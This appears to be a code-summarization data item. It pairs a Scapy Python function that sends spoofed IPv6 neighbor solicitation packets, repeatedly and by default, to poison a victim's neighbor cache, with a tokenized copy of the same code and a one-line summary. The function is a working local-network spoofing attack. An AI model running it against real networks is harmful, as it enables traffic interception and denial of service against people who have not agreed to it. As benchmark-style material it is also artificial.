def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target='2001:db8::1', dst=None, src_mac=None, dst_mac=None, loop=True, inter=1, iface=None):
 if (not iface):
  iface = conf.iface
 if (not src_lladdr):
  src_lladdr = get_if_hwaddr(iface)
 ether_params = {}
 if src_mac:
  ether_params['src'] = src_mac
 if dst_mac:
  ether_params['dst'] = dst_mac
 ipv6_params = {}
 if src:
  ipv6_params['src'] = src
 if dst:
  ipv6_params['dst'] = dst
 else:
  tmp = inet_ntop(socket.AF_INET6, in6_getnsma(inet_pton(socket.AF_INET6, target)))
  ipv6_params['dst'] = tmp
 pkt = Ether(**ether_params)
 pkt /= IPv6(**ipv6_params)
 pkt /= ICMPv6ND_NS(tgt=target)
 pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr)
 sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0)

def NDP_Attack_NS_Spoofing ( src_lladdr = None , src = None , target = '2001:db8::1' , dst = None , src_mac = None , dst_mac = None , loop = True , inter = 1 , iface = None ) : if ( not iface ) : iface = conf . iface if ( not src_lladdr ) : src_lladdr = get_if_hwaddr ( iface ) ether_params = { } if src_mac : ether_params [ 'src' ] = src_mac if dst_mac : ether_params [ 'dst' ] = dst_mac ipv6_params = { } if src : ipv6_params [ 'src' ] = src if dst : ipv6_params [ 'dst' ] = dst else : tmp = inet_ntop ( socket . AF_INET6 , in6_getnsma ( inet_pton ( socket . AF_INET6 , target ) ) ) ipv6_params [ 'dst' ] = tmp pkt = Ether ( ** ether_params ) pkt /= IPv6 ( ** ipv6_params ) pkt /= ICMPv6ND_NS ( tgt = target ) pkt /= ICMPv6NDOptSrcLLAddr ( lladdr = src_lladdr ) sendp ( pkt , inter = inter , loop = loop , iface = iface , verbose = 0 )
the main purpose of this function is to send fake neighbor solicitations messages to a victim .